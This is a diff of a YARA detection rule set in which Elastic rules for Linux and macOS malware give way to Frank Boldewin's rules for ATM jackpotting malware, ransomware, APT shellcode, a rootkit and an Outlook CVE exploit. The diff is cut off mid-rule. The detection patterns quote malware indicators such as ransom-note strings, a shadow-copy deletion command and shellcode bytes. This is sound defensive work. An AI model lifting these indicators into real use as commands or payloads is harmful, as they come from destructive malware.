+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Exploit_Outlook_CVE_2023_23397.yar#L1-L30"
+		license_url = "N/A"
+		logic_hash = "1847e8223b2f6d3ec5108e15ee46ef031ee1e26d3a5e8ed4a70c77b031f6a5b6"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "346233f4b1306eb574b4063d3b47f90e65a81ad7fe1c74d2a68640d99d456c4c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 86
+		tags = "CVE-2023-23397, FILE"
+		Author = "Frank Boldewin (@r3c0nst)"
+		Hash1 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f"
+		Hash2 = "a034427fd8524fd62380c881c30b9ab483535974ddd567556692cffc206809d1"
+		Hash3 = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
+		Hash4 = "1543677037fa339877e1d6ef2d077f94613afbcd6434d7181a18df74aca7742b"
 
 	strings:
-		$a1 = "User-Agent: Host:  HTTP/1.1" ascii fullword
-		$a2 = "ServerHelloPayloadrandom" ascii fullword
-		$a3 = "Bad JSON in payload" ascii fullword
-		$a4 = { 7B 22 68 65 6C 6C 6F 22 3A 20 22 77 6F 72 6C 64 22 7D 48 54 54 50 2F 31 2E 31 20 33 30 31 20 46 6F 75 6E 64 }
-		$a5 = "PayloadU24UnknownExtensiontyp" ascii fullword
-		$a6 = " NTDLL.DLL" wide fullword
+		$ipmtask = "IPM.Task" wide ascii
+		$ipmappointment = "IPM.Appointment" wide ascii
+		$ipmtaskb64 = "IPM.Task" base64 base64wide
+		$ipmappointmentb64 = "IPM.Appointment" base64 base64wide
+		$unc_path1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00|3? 00 3? 00|3? 00 3? 00 3? 00) }
+		$unc_path2 = { 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3?|3? 3?|3? 3? 3?) }
+		$unc_a = "\x00\x00\x00\x5c\x5c" base64
+		$unc_w = "\x00\x00\x5c\x00\x5c" base64wide
+		$mail1 = "from:" ascii wide nocase
+		$mail2 = "received:" ascii wide nocase
 
 	condition:
-		all of them
+		(( uint32be(0)==0xD0CF11E0 or uint32be(0)==0x789F3E22) or ( all of ($mail*))) and (($ipmtask or $ipmappointment) or ($ipmtaskb64 or $ipmappointmentb64)) and (($unc_path1 or $unc_path2) or ($unc_a or $unc_w))
 }
-rule ELASTIC_Linux_Trojan_Rbot_C69475E3 : FILE MEMORY
+rule R3C0NST_Gamaredon_Getimportbyhash : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
-		author = "Elastic Security"
-		id = "c69475e3-59eb-4d3c-9ee6-01ae7a3973d3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d97c69b65d2900c39ca012fe0486e6a6abceebb890cbb6d2e091bb90f6b9690"
-		logic_hash = "2a8629ebf6e2082ce90f1b2130ae596e4e515f3289a25899f2fc57b99c01a654"
+		description = "Detects Gamaredon APIHashing"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"
+		date = "2021-05-12"
+		modified = "2021-05-12"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/APT.Gamaredon.GetImportByHash.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "b3baebfb745ebc7b9e6df746bfa9622f925b8e8130932e44a148881e7d1fc162"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "593ff388ba10d66b97b5dfc9220bbda6b1584fe73d6bf7c1aa0f5391bb87e939"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "FILE"
+		hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
+		hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
+		hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
 
 	strings:
-		$a = { 56 8B 76 20 03 F5 33 C9 49 41 AD 33 DB 36 0F BE 14 28 38 F2 }
+		$ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
+		$djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and all of them
 }
-rule ELASTIC_Linux_Trojan_Rbot_96625C8C : FILE MEMORY
+rule R3C0NST_ATM_Malware_XFSADM : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
-		author = "Elastic Security"
-		id = "96625c8c-897c-4bf0-97e7-0dc04595cb94"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rbot.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a052cfad3034d851c6fad62cc8f9c65bceedc73f3e6a37c9befe52720fd0890e"
-		logic_hash = "5a9671e10e7b9b58ecf9fab231de18b4b6039c9d351b145fae1705297acda95e"
+		description = "Detects ATM Malware XFSADM"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "57124fef-73a1-5978-b165-b1b7d7c1196e"
+		date = "2019-06-21"
+		modified = "2019-07-11"
+		reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSADM.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "2dd0b9e0a2dd18725c9342a234520c96c6b30cf3ce7196562b2380a39f5f8673"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "5dfabf693c87742ffa212573dded84a2c341628b79c7d11c16be493957c71a69"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 84
+		tags = "FILE"
+		hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
 
 	strings:
-		$a = { 24 28 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B 5A 20 01 EB E3 38 49 8B }
+		$Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15}
+		$Code2 = {68 98 01 00 00 50 FF 15}
+		$Mutex = "myXFSADM" nocase wide
+		$MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" nocase ascii
+		$XFSCommand1 = "WfsExecute" nocase ascii
+		$XFSCommand2 = "WfsGetInfo" nocase ascii
+		$PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" nocase ascii
+		$WindowName = "XFS ADM" nocase wide
+		$FindWindow = "ADM rec" nocase wide
+		$LogFile = "xfs.log" nocase ascii
+		$TmpFile = "~pipe.tmp" nocase ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize <500KB and 4 of them
 }
-rule ELASTIC_Linux_Trojan_Rbot_366F1599 : FILE MEMORY
+rule R3C0NST_ATM_Malware_Ripper : ATMRIPPER MALWARE FILE
 {
 	meta:
-		description = "Detects Linux Trojan Rbot (Linux.Trojan.Rbot)"
-		author = "Elastic Security"
-		id = "366f1599-a287-44e6-bc2c-d835b2c2c024"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rbot.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5553d154a0e02e7f97415299eeae78e5bb0ecfbf5454e3933d6fd9675d78b3eb"
-		logic_hash = "3efe0f35efd855b415149513e8abb2210a26ef6f3b6c31275c8147fabb634fab"
+		description = "Rule detects Thailand ATM Jackpot malware RIPPER (unpacked)"
+		author = "Frank Boldewin"
+		id = "38dfda5b-45cc-55d4-b619-91fa31c09a09"
+		date = "2016-08-01"
+		modified = "2019-02-27"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ripper.yar#L1-L22"
+		license_url = "N/A"
+		logic_hash = "bb7b474330defe6d071b9595687d4510961055fa243a26306698c1e029a935f1"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "27166c9dab20d40c10a4f0ea5d0084be63fef48748395dd55c7a13ab6468e16d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "ATMRIPPER, MALWARE, FILE"
+		malware_family = "ATM-malware RIPPER"
 
 	strings:
-		$a = { C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B }
+		$Card_Hash1 = "be59a724feae790b3f315edf71a8450888c021f113e3c2b471e174130c201852" nocase ascii
+		$Card_Hash2 = "f26a57da928d6f3e3480dfc7d03761161191bdb170e10ca15c7ac5de6912945c" nocase ascii
+		$Card_Hash3 = "692cdaf6e42ab3a4f307e5d047249f7b30ceddd6bc88f22ca032412419bd62b7" nocase ascii
+		$Card_Hash4 = "0679c7c0c9b0d6919c12cbc087e942d7bf48d3a78cd3ec80321fbfd1b33a1904" nocase ascii
+		$Code_Bytes1 = { 68 CB 00 00 00 50 FF 15 ?? ?? ?? ?? EB 19 }
+		$Code_Bytes2 = { E8 ?? ?? ?? ?? 83 C4 18 6A 02 53 53 FF 15 ?? ?? ?? ?? 68 74 12 43 00 8D 55 A4 }
+		$Service = "DBACKUP SERVICE" nocase wide
+
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 2 of ($Card_Hash*) and all of ($Code_Bytes*) and filesize <400KB and ($Service in (0x2f000..0x30000))
+}
+rule R3C0NST_ATM_Malware_Dispcashbr : FILE
+{
+	meta:
+		description = "Detects ATM Malware DispCashBR"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "17d22120-0ca2-5b27-9816-21ab4a6fb20c"
+		date = "2020-02-27"
+		modified = "2020-08-17"
+		reference = "https://twitter.com/r3c0nst/status/1232944566208286720"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispCashBR.yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "3fb5d62cb779ddc13e9b938290dfa9d2a3353d7969e639a662c1bcaca945de4d"
+		score = 75
+		quality = 90
+		tags = "FILE"
+		hash1 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
+
+	strings:
+		$String1 = "(*) Dispensando: %lu" ascii nocase
+		$String2 = "COMANDO EXECUTADO COM SUCESSO" ascii nocase
+		$String3 = "[+] FOI SACADO:  %lu R$ [+]" ascii nocase
+		$DbgStr1 = "_Get_Information_cdm_cuinfo" ascii nocase
+		$DbgStr2 = "_GET_INFORMATION_SHUTTER" ascii nocase
+		$Code1 = {C7 44 24 08 00 00 00 00 C7 44 24 04 2F 01 00 00 89 04 24 E8}
+		$Code2 = {C7 44 24 08 00 00 00 00 C7 44 24 04 17 05 00 00 89 04 24 E8}
+		$Code3 = {89 4C 24 08 C7 44 24 04 2E 01 00 00 89 04 24 E8}
+
+	condition:
+		uint16(0)==0x5A4D and filesize <100KB and 2 of ($String*) and 1 of ($DbgStr*) and all of ($Code*)
+}
+rule R3C0NST_Prolock_Malware : FILE
+{
+	meta:
+		description = "Detects Prolock malware in encrypted and decrypted mode"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "1440b5f5-f1e7-522e-8852-84c326858bb9"
+		date = "2020-05-17"
+		modified = "2020-05-20"
+		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Prolock.Malware.yar#L1-L20"
+		license_url = "N/A"
+		logic_hash = "7502011eba1e36c8ec699f1b627c4980cc3009bb43c5aa5a58571330e93211ea"
+		score = 75
+		quality = 90
+		tags = "FILE"
+		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
+		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
+
+	strings:
+		$DecryptionRoutine1 = {31 04 1A 81 3C 1A 90 90 90 90 74}
+		$DecryptionRoutine2 = {83 C3 04 81 3C 1A C4 C4 C4 C4 74}
+		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
+		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
+		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
+		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
+
+	condition:
+		(( uint16(0)==0x5A4D) or ( uint16(0)==0x4D42)) and filesize <100KB and all of ($DecryptionRoutine*) or (1 of ($DecryptedString*) and $CryptoCode)
+}
+import "pe"
+
+rule R3C0NST_Nighthawk_RAT : FILE
+{
+	meta:
+		description = "Detects Nighthawk RAT"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "7a58b8bf-fb14-5758-bc2a-ad2c6fff1216"
+		date = "2022-11-30"
+		modified = "2022-11-30"
+		reference = "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/nighthawk.yar#L3-L28"
+		license_url = "N/A"
+		logic_hash = "5124f7c0186f40cf0a7706e17afe6ba791ca82ac4f4ee940f6fbae5223771a95"
+		score = 75
+		quality = 90
+		tags = "FILE"
+		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
+		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
+		hash3 = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
+		hash4 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
+		hash5 = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
+
+	strings:
+		$pattern1 = { 48 8d 0d ?? ?? ?? ?? 51 5a 48 81 c1 ?? ?? ?? ?? 48 81 c2 ?? ?? ?? ?? ff e2 }
+		$pattern2 = { 66 03 D2 66 33 D1 66 C1 E2 02 66 33 D1 66 23 D0 0F B7 C1 }
+		$pattern3 = { FF 7F 48 3B F0 48 0F 47 F0 48 8D }
+		$pattern4 = { 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA 0F 05 C3 }
+		$pattern5 = { 48 B8 AA AA AA AA AA AA AA 02 48 ?? ?? ?? ?? 0F 84 }
+		$pattern6 = { 65 48 8B 04 25 30 00 00 00 48 8B 80 }
+
+	condition:
+		uint16(0)==0x5A4D and filesize <2MB and (3 of ($pattern*) or (pe.section_index(".profile") and pe.section_index(".detourc") and pe.section_index(".detourd")))
+}
+rule R3C0NST_Shellcode_Apihashing_FIN8
+{
+	meta:
+		description = "Detects FIN8 Shellcode APIHashing"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "a5b4a925-c4cc-5d3a-a2f1-3372f77ceea2"
+		date = "2021-03-16"
+		modified = "2021-03-25"
+		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Shellcode.APIHashing.FIN8.yar#L1-L74"
+		license_url = "N/A"
+		logic_hash = "958d6a3c0c78ad22fb56896d6a97b9fe79c56813dc36a37385f3ce5621008624"
+		score = 75
+		quality = 90
+		tags = ""
+
+	strings:
+		$APIHashing32bit1 = {68 F2 55 03 88 68 65 19 6D 1E}
+		$APIHashing32bit2 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4}
+		$APIHashing64bit = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21}
+
+	condition:
+		all of ($APIHashing32bit*) or $APIHashing64bit
+}
+rule R3C0NST_UNC2891_Caketap
+{
+	meta:
+		description = "Detects UNC2891 Rootkit Caketap"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "9c2ffe3d-69ca-5f93-bdb1-40e449139dec"
+		date = "2022-03-30"
+		modified = "2023-01-05"
+		reference = "https://github.com/fboldewin/YARA-rules/"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Caketap.yar#L1-L16"
+		license_url = "N/A"
+		logic_hash = "530a7d062a218217d2c05460428b2576c3fe2a6099c93940aabde73c513a8914"
+		score = 75
+		quality = 88
+		tags = ""
+
+	strings:
+		$str1 = ".caahGss187" ascii fullword
+		$str2 = "ipstat" ascii
+		$code1 = {41 80 7E 06 4B 75 ?? 41 80 7E 07 57 75 ?? 41 0F B6 46 2B}
+		$code2 = {41 C6 46 01 3D 41 C6 46 08 32}
 
 	condition:
-		all of them
+		uint32(0)==0x464c457f and ( all of ($code*) or ( all of ($str*) and #str2==2))
 }
-rule ELASTIC_Linux_Exploit_Sorso_Ecf99F8F : FILE MEMORY
+rule R3C0NST_ATM_Malware_Xfscashncr : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
-		author = "Elastic Security"
-		id = "ecf99f8f-1692-41ee-a70d-8c868e269529"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Sorso.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
-		logic_hash = "c771ff109e548e37134cd76ac668f0d4abafcf262de12b00236ad94fc11a99d1"
+		description = "Detects ATM Malware XFSCashNCR"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "8886cd00-4f4a-5f25-99e0-0806f5e1b4b4"
+		date = "2019-08-28"
+		modified = "2019-08-28"
+		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSCashNCR.yar#L1-L21"
+		license_url = "N/A"
+		logic_hash = "87f197058d4b515cb4829b5e403a96b88eb95cda81e53a9e1484df8c743d8c4a"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d2c0ccceed8a76d13c8b388e5c3b560f23ecff2b1b9c90d18e5e0d0bbdc91364"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "FILE"
+		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
 
 	strings:
-		$a = { 6E 89 E3 50 54 53 50 B0 3B CD 80 31 C0 B0 01 CD }
+		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
+		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
+		$StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
+		$StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
+		$StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
+		$StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
+		$PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
+		$LogFile = "XfsLog.txt" nocase ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize <1500KB and 4 of them
 }
-rule ELASTIC_Linux_Exploit_Sorso_91A4D487 : FILE MEMORY
+import "pe"
+
+rule R3C0NST_ATM_Malware_Ploutusi : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
-		author = "Elastic Security"
-		id = "91a4d487-cbb6-4805-a4fc-5f4ff3b0e22b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Sorso.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
-		logic_hash = "bb58c78ae3cc730aa1ef32974f65adabd63972ef181696aeb79954f904f2f405"
+		description = "Detects Ploutus I .NET samples based on MetabaseQ report"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "02104112-6f81-5d19-935d-45cfcd2fa41c"
+		date = "2021-03-03"
+		modified = "2021-03-04"
+		reference = "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Ploutus-I.yar#L3-L26"
+		license_url = "N/A"
+		logic_hash = "77100d300a40219187f5c4b8270f599a91652b69980fe450b791181b8c30b5a4"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4965d806fa46b74023791ca17a90031753fbbe6094d25868e8d93e720f61d4c0"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "FILE"
+		hash1 = "4f6d4c6f97caf888a98a3097b663055b63e605f15ea8f7cc7347283a0b8424c1"
+		hash2 = "8ca29597152dc79bcf79394e1ae2635b393d844bb0eeef6709d37e6778457b31"
+		hash3 = "dce1f01c08937fb5c98964a0911de403eed2101a9d46c5eb9899755c40c3765a"
+		hash4 = "3a1d992277a862640a0835af9dff4b029cfc6c5451e9716f106efaf07702a98c"
 
 	strings:
-		$a = { 80 31 C0 43 53 56 50 B0 5A CD 80 31 C0 50 68 2F }
+		$Code = {28 ?? 02 00 06 2a}
 
 	condition:
-		all of them
+		filesize <300KB and $Code and pe.pdb_path contains "Diebold.pdb" and pe.imports("mscoree.dll","_CorExeMain") and ( for any i in (0..pe.number_of_resources-1) : (pe.resources[i].type==pe.RESOURCE_TYPE_VERSION and (pe.version_info["InternalName"] contains "Diebold.exe")))
 }
-rule ELASTIC_Linux_Exploit_Sorso_61Eae7Dd : FILE MEMORY
+rule R3C0NST_Ransomware_Germanwiper : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Sorso (Linux.Exploit.Sorso)"
-		author = "Elastic Security"
-		id = "61eae7dd-3335-4a50-b70b-c7c5657fc540"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Sorso.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0f0a7b45fb91bc18264d901c20539dd32bc03fa5b7d839a0ef5012fb0d895cd"
-		logic_hash = "a8bc8a2c8405b80b160ad21898003781405a762c0e627f13b34e9362e0aa51a1"
+		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "ea71849e-62a1-5b4d-9cf7-0728192361cc"
+		date = "2019-08-05"
+		modified = "2019-08-05"
+		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Ransomware.Germanwiper.yar#L1-L25"
+		license_url = "N/A"
+		logic_hash = "563ad59abd09d9a5fcfcf5ed48dc1e3c48b4bb198c20721d5af531da20d2b0d3"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8ada74a60e30a26f7789bfdf00b3373843f39dc7d71bd6e1b603a7a41b5a63e9"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 90
+		tags = "FILE"
+		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
+		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
 
 	strings:
-		$a = { 69 89 E3 50 53 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
+		$PurgeCode = {6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8}
+		$Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" nocase ascii
+		$Mutex2 = "cFgxTERNWEVhM2V" nocase ascii
+		$ProcessKill1 = "oracle.exe" nocase ascii
+		$ProcessKill2 = "sqbcoreservice.exe" nocase ascii
+		$ProcessKill3 = "isqlplussvc.exe" nocase ascii
+		$ProcessKill4 = "mysqld.exe" nocase ascii
+		$KillShadowCopies = "vssadmin.exe delete shadows" nocase ascii
+		$Domain1 = "cdnjs.cloudflare.com" nocase ascii
+		$Domain2 = "expandingdelegation.top" nocase ascii
+		$RansomNote = "Entschluesselungs_Anleitung.html" nocase ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and filesize <1000KB and 5 of them
 }
-rule ELASTIC_Macos_Trojan_Eggshell_Ddacf7B9 : FILE MEMORY
+import "pe"
+
+rule R3C0NST_ATM_CINEO4060_Blackbox : FILE
 {
 	meta:
-		description = "Detects Macos Trojan Eggshell (MacOS.Trojan.Eggshell)"
-		author = "Elastic Security"
-		id = "ddacf7b9-8479-47ef-9df2-17060578a8e5"
-		date = "2021-09-30"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Eggshell.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b"
-		logic_hash = "f986f7d1e3a68e27f82048017c6d6381a0354ffad2cd10f3eee69bbbfa940abd"
+		description = "Detects Malware samples for Diebold Nixdorf CINEO 4060 ATMs used in blackboxing attacks across Europe since May 2021"
+		author = "Frank Boldewin (@r3c0nst)"
+		id = "8fa26e1c-2931-59c8-9cec-20dc6684b8d6"
+		date = "2021-05-25"
+		modified = "2022-06-21"
+		reference = "https://twitter.com/r3c0nst/status/1539036442516660224"
+		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM_CINEO4060_Blackbox.yar#L3-L27"
+		license_url = "N/A"
+		logic_hash = "80b919d03c1b9a198611994eaf2fafaf8254c73a6f0edb53b2b3eb90ea70d915"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "2e6284c8e44809d5f88781dcf7779d1e24ce3aedd5e8db8598e49c01da63fe62"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
+		quality = 90
+		tags = "FILE"
 
 	strings:
-		$a1 = "ScreenshotThread" ascii fullword
-		$a2 = "KeylogThread" ascii fullword
-		$a3 = "GetClipboardThread" ascii fullword
-		$a4 = "_uploadProgress" ascii fullword
-		$a5 = "killTask:" ascii fullword
